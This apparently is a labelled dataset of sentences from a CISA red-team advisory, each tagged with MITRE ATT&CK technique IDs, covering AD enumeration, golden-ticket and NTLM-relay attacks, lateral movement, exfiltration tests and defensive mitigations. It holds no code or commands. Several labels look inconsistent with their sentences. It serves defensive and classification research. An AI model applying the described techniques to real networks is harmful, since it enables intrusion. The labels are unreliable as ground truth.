{"sentence": "Network Service Discovery [T1046] Network Monitoring and Analysis Tools Intrusion Detection or Prevention Systems Endpoint Protection Platform Detect target hosts and ports Identify associated scanning process Analyze scanning host once detected Develop response plan None Comprehensive Active Directory and Host Enumeration Perform AD enumeration by querying all domain objects from the DC; and enumerating trust relationships within the AD Forest, user accounts, and current session information from every domain computer (Workstation and Server).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Domain Trust Discovery [T1482] Account Discovery: Domain Account", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1087.002] System Owner/User Discovery [T1033] Remote System Discovery [T1018] Network Monitoring and Analysis Tools Intrusion Detection or Prevention Systems Endpoint Protection Platform Detect target hosts and ports Identify associated scanning process Analyze scanning host once detected Develop response plan Collection process stopped before completion.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Host isolated and sent for forensics.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Data Exfiltration—1 GB of Data Send a large amount (1 GB) of mock sensitive information to an external system over various protocols, including ICMP, DNS, FTP, and/or HTTP/S. Exfiltration Over Alternative", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1048] Network Monitoring and Analysis Tools Intrusion Detection or Prevention Systems Endpoint Protection Platform Detect target hosts and ports Identify associated scanning process Analyze scanning host once detected Develop response plan None Malicious Traffic Generation—Workstation to External Host Establish a session that originates from a target Workstation system directly to an external host over a clear text protocol, such as HTTP.", "labels": ["T1071.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Application Layer Protocol", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1071] Intrusion Detection or Prevention Systems Endpoint Protection Platform Windows Event Logs Detect and Identify source IP and source process of enumeration Analyze scanning host once detected Develop response plan None Active Directory Account Lockout Lock out several administrative AD accounts Account Access Removal", "labels": ["T1016"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1531] Windows Event Logs End User Reporting Detect and Identify source IP and source process of exfiltration Analyze host used for exfiltration once detected Develop response plan None Local Admin User Account Creation (workstation) Create a local administrator account on a target workstation system.", "labels": ["T1016"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Create Account: Local Account [T1136.001] Account Manipulation [T1098] Intrusion Detection or Prevention Systems Endpoint Protection Platform Web Proxy Logs Detect and identify source IP and source process of malicious traffic Investigate destination IP address Triage compromised host Develop response plan None Local Admin User Account Creation (server) Create a local administrator account on a target server system.", "labels": ["T1016"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Create Account: Local Account [T1136.001] Account Manipulation [T1098] Windows Event Logs Detect account creation Identify source of change Verify change with system owner Develop response plan", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "None Active Directory Account Creation Create AD accounts and add it to domain admins group Create Account:", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1136.002] Account Manipulation [T1098] Windows Event Logs Detect account creation Identify source of change Verify change with system owner", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Develop response plan None Workstation Admin Lateral Movement—Workstation to Workstation Use a previously compromised workstation admin account to upload and execute a payload via SMB and Windows Service Creation, respectively, on several target Workstations.", "labels": ["T1078", "T1543.003", "T1569.002", "T1570"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Valid Accounts: Domain Accounts [T1078.002] Remote Services: SMB/Windows Admin Shares, Sub-technique [T1021.002] Create or Modify System Process:", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Windows Service [T1543.003] Windows Event Logs Detect account compromise Analyze compromised host Develop response plan None Domain Admin Lateral Movement—Workstation to Domain Controller Use a previously compromised domain admin account to upload and execute a payload via SMB and Windows Service Creation, respectively, on a target DC.", "labels": ["T1078", "T1543.003", "T1569.002", "T1570"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Windows Service [T1543.003] Windows Event Logs Detect account compromise Triage compromised host Develop response plan None Malicious Traffic Generation—Domain Controller to External Host Establish a session that originates from a target Domain Controller system directly to an external host over a clear text protocol, such as HTTP.", "labels": ["T1071.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1071] Intrusion Detection or Prevention Systems Endpoint Protection Platform Web Proxy Logs Detect and identify source IP and source process of malicious traffic Investigate destination IP address Triage compromised host Develop response plan None Trigger Host-Based Protection—Domain Controller Upload and execute a well-known (e.g., with a signature) malicious file to a target DC system to generate host-based alerts.", "labels": ["T1016", "T1105"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Ingress Tool Transfer [T1105] Endpoint Protection Platform Endpoint Detection and Response Detect and identify source IP and source process of malicious traffic Investigate destination IP address Triage compromised host Develop response plan Malicious file was removed by antivirus Ransomware Simulation Execute simulated ransomware on multiple Workstation systems to simulate a ransomware attack.", "labels": ["T1016"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Note: This technique does NOT encrypt files on the target system.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "N/A End User Reporting Investigate end user reported event Triage compromised host Develop response Plan Four users reported event to defensive staff Findings Key Issues The red team noted the following key issues relevant to the security of the organization’s network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These findings contributed to the team’s ability to gain persistent, undetected access across the organization’s sites.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See the Mitigations section for recommendations on how to mitigate these issues.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Insufficient host and network monitoring.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Most of the red team’s Phase II actions failed to provoke a response from the people, processes, and technology defending the organization’s network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The organization failed to detect lateral movement, persistence, and C2 activity via their intrusion detection or prevention systems, endpoint protection platform, web proxy logs, and Windows event logs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Additionally, throughout Phase I, the team received no deconflictions or confirmation that the organization caught their activity.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Below is a list of some of the higher risk activities conducted by the team that were opportunities for detection: Phishing Lateral movement reuse Generation and use of the golden ticket Anomalous LDAP traffic Anomalous internal share enumeration Unconstrained Delegation server compromise DCSync Anomalous account usage during lateral movement Anomalous outbound network traffic Anomalous outbound SSH connections to the team’s cloud servers from workstations Lack of monitoring on endpoint management systems.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used the organization’s MDM system to gain root access to machines across the organization’s network without being detected.", "labels": ["T1072"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Endpoint management systems provide elevated access to thousands of hosts and should be treated as high value assets (HVAs) with additional restrictions and monitoring.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "KRBTGT never changed.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The Site 1 krbtgt account password had not been updated for over a decade.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The krbtgt account is a domain default account that acts as a service account for the key distribution center (KDC) service used to encrypt and sign all Kerberos tickets for the domain.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Compromise of the krbtgt account could provide adversaries with the ability to sign their own TGTs, facilitating domain access years after the date of compromise.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team was able to use the krbtgt account to forge TGTs for multiple accounts throughout Phase I. Excessive permissions to standard users.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team discovered several standard user accounts that have local administrator access to critical servers.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This misconfiguration allowed the team to use the low-level access of a phished user to move laterally to an Unconstrained Delegation host and compromise the entire domain.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Hosts with Unconstrained Delegation enabled unnecessarily.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Hosts with Unconstrained Delegation enabled store the Kerberos TGTs of all users that authenticate to that host, enabling actors to steal service tickets or compromise krbtgt accounts and perform golden ticket or “silver ticket” attacks.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team performed an NTLM-relay attack to obtain the DC’s TGT, followed by a golden ticket attack on a SharePoint server with Unconstrained Delegation to gain the ability to impersonate any Site 1 AD account. Use of non-secure default configurations.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The organization used default configurations for hosts with Windows Server 2012 R2.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The default configuration allows unprivileged users to query group membership of local administrator groups.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team used and identified several standard user accounts with administrative access from a Windows Server 2012 R2 SharePoint server.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Additional Issues The team noted the following additional issues.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Ineffective separation of privileged accounts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Some workstations allowed unprivileged accounts to have local administrator access; for example, the red team discovered an ordinary user account in the local admin group for the SharePoint server.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If a user with administrative access is compromised, an actor can access servers without needing to elevate privileges.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Administrative and user accounts should be separated, and designated admin accounts should be exclusively used for admin purposes.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Lack of server egress control.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Most servers, including domain controllers, allowed unrestricted egress traffic to the internet.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Inconsistent host configuration.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team observed inconsistencies on servers and workstations within the domain, including inconsistent membership in the local administrator group among different servers or workstations.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "For example, some workstations had “Server Admins” or “Domain Admins” as local administrators, and other workstations had neither.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Potentially unwanted programs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team noticed potentially unusual software, including music software, installed on both workstations and servers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These extraneous software installations indicate inconsistent host configuration (see above) and increase the attack surfaces for malicious actors to gain initial access or escalate privileges once in the network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Mandatory password changes enabled.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "During the assessment, the team keylogged a user during a mandatory password change and noticed that only the final character of their password was modified.", "labels": ["T1056.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This is potentially due to domain passwords being required to be changed every 60 days.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Smart card use was inconsistent across the domain.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "While the technology was deployed, it was not applied uniformly, and there was a significant portion of users without smartcard protections enabled.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used these unprotected accounts throughout their assessment to move laterally through the domain and gain persistence.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Noted Strengths The red team noted the following technical controls or defensive measures that prevented or hampered offensive actions: The organization conducts regular, proactive penetration tests and adversarial assessments and invests in hardening their network based on findings.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team was unable to discover any easily exploitable services, ports, or web interfaces from more than three million external in-scope IPs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This forced the team to resort to phishing to gain initial access to the environment.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Service account passwords were strong.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team was unable to crack any of the hashes obtained from the 610 service accounts pulled.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This is a critical strength because it slowed the team from moving around the network in the initial parts of the Phase I.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team did not discover any useful credentials on open file shares or file servers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This slowed the progress of the team from moving around the network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "MFA was used for some SBSs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team was blocked from moving to SBS 2 by an MFA prompt.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "There were strong security controls and segmentation for SBS systems.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Direct access to SBS were located in separate networks, and admins of SBS used workstations protected by local firewalls.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "MITIGATIONS CISA recommends organizations implement the recommendations in Table 2 to mitigate the issues listed in the Findings section of this advisory.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Table 2: Recommendations to Mitigate Identified Issues Issue Recommendation Insufficient host and network monitoring Establish a security baseline of normal network traffic and tune network appliances to detect anomalous behavior [CPG 3.1].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Tune host-based products to detect anomalous binaries, lateral movement, and persistence techniques.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Create alerts for Windows event log authentication codes, especially for the domain controllers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This could help detect some of the pass-the-ticket, DCSync, and other techniques described in this report.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "From a detection standpoint, focus on identity and access management (IAM) rather than just network traffic or static host alerts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Consider who is accessing what (what resource), from where (what internal host or external location), and when (what day and time the access occurs).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Look for access behavior that deviates from expected or is indicative of AD abuse.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Reduce the attack surface by limiting the use of legitimate administrative pathways and tools such as PowerShell, PSExec, and WMI, which are often used by malicious actors.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA recommends selecting one tool to administer the network, ensuring logging is turned on [CPG 3.1], and disabling the others.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Consider using “honeypot” service principal names (SPNs) to detect attempts to crack account hashes", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[CPG 1.1]. Conduct regular assessments to ensure processes and procedures are up to date and can be followed by security staff and end users.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Consider using red team tools, such as SharpHound, for AD enumeration to identify users with excessive privileges and misconfigured hosts (e.g., with Unconstrained Delegation enabled).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Ensure all commercial tools deployed in your environment are regularly tuned to pick up on relevant activity in your environment.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Lack of monitoring on endpoint management systems Treat endpoint management systems as HVAs with additional restrictions and monitoring because they provide elevated access to thousands of hosts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "KRBTGT never changed Change the krbtgt account password on a regular schedule such as every 6 to 12 months or if it becomes compromised.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Note that this password change must be carefully performed to effectively change the credential without breaking AD functionality.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The password must be changed twice to effectively invalidate the old credentials.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "However, the required waiting period between resets must be greater than the maximum lifetime period of Kerberos tickets, which is 10 hours by default.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See Microsoft’s KRBTGT account maintenance considerations guidance for more information.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Excessive permissions to standard users and ineffective separation of privileged accounts Implement the principle of least privilege: Grant standard user rights for standard user tasks such as email, web browsing, and using line-of-business (LOB) applications.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Periodically audit standard accounts and minimize where they have privileged access.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Periodically Audit AD permissions to ensure users do not have excessive permissions and have not been added to admin groups.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Evaluate which administrative groups should administer which servers/workstations.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Ensure group members administrative accounts instead of standard accounts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Separate administrator accounts from user accounts [CPG 1.5].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Only allow designated admin accounts to be used for admin purposes.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If an individual user needs administrative rights over their workstation, use a separate account that does not have administrative access to other hosts, such as servers. Consider using a privileged access management (PAM) solution to manage access to privileged accounts and resources", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[CPG 3.4].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "PAM solutions can also log and alert usage to detect any unusual activity and may have helped stop the red team from accessing resources with admin accounts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Note: password vaults associated with PAM solutions should be treated as HVAs with additional restrictions and monitoring (see below).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Configure time-based access for accounts set at the admin level and higher.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "For example, the just-in-time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege, as well as the Zero Trust model.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This is a process in which a network-wide policy is set in place to automatically disable administrator accounts at the AD level when the account is not in direct need.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "When individual users need the account, they submit their requests through an automated process that enables access to a system but only for a set timeframe to support task completion.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Hosts with Unconstrained Delegation enabled Remove Unconstrained Delegation from all servers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If Unconstrained Delegation functionality is required, upgrade operating systems and applications to leverage other approaches (e.g., constrained delegation) or explore whether systems can be retired or further isolated from the enterprise.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA recommends Windows Server 2019 or greater. Consider disabling or limiting NTLM and WDigest Authentication if possible, including using their use as criteria for prioritizing updates to legacy systems or for segmenting the network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Instead use more modern federation protocols (SAML, OIDC) or Kerberos for authentication with AES-256 bit encryption [CPG 3.4].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If NTLM must be enabled, enable Extended Protection for Authentication (EPA) to prevent some NTLM-relay attacks, and implement SMB signing to prevent certain adversary-in-the-middle and pass-the-hash attacks CPG 3.4].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See Microsoft Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS) and Microsoft Overview of Server Message Block signing for more information.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Use of non-secure default configurations Keep systems and software up to date", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[CPG 5.1].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If updates cannot be uniformly installed, update insecure configurations to meet updated standards. Lack of server egress control Configure internal firewalls and proxies to restrict internet traffic from hosts that do not require it.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If a host requires specific outbound traffic, consider creating an allowlist policy of domains.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Large number of credentials in a shared vault Treat password vaults as HVAs with additional restrictions and monitoring [CPG 3.4]: If on-premise, require MFA for admin and apply network segmentation [CPG 1.3].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Use solutions with end-to-end encryption where applicable [CPG 3.3].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If cloud-based, evaluate the provider to ensure use of strong security controls such as MFA and end-to-end encryption", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[CPG 1.3, 3.3]. Inconsistent host configuration Establish a baseline/gold-image for workstations and servers and deploy from that image", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[CPG 2.5].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Use standardized groups to administer hosts in the network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Potentially unwanted programs Implement software allowlisting to ensure users can only install software from an approved list", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[CPG 2.1].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Remove unnecessary, extraneous software from servers and workstations.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Mandatory password changes enabled Consider only requiring changes for memorized passwords in the event of compromise.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Regular changing of memorized passwords can lead to predictable patterns, and both CISA and the National Institute of Standards and Technology (NIST) recommend against changing passwords on regular intervals.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Additionally, CISA recommends organizations implement the mitigations below to improve their cybersecurity posture: Provide users with regular training and exercises, specifically related to phishing emails", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[CPG 4.3].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Phishing accounts for majority of initial access intrusion events.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Enforce phishing-resistant MFA to the greatest extent possible [CPG 1.3].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Reduce the risk of credential compromise via the following: Place domain admin accounts in the protected users group to prevent caching of password hashes locally; this also forces Kerberos AES authentication as opposed to weaker RC4 or NTLM.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Refrain from storing plaintext credentials in scripts [CPG 3.4].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team discovered a PowerShell script containing plaintext credentials that allowed them to escalate to admin.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Upgrade to Windows Server 2019 or greater and Windows 10 or greater.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These versions have security features not included in older operating systems.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "As a long-term effort, CISA recommends organizations prioritize implementing a more modern, Zero Trust network architecture that: Leverages secure cloud services for key enterprise security capabilities (e.g., identity and access management, endpoint detection and response, policy enforcement).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
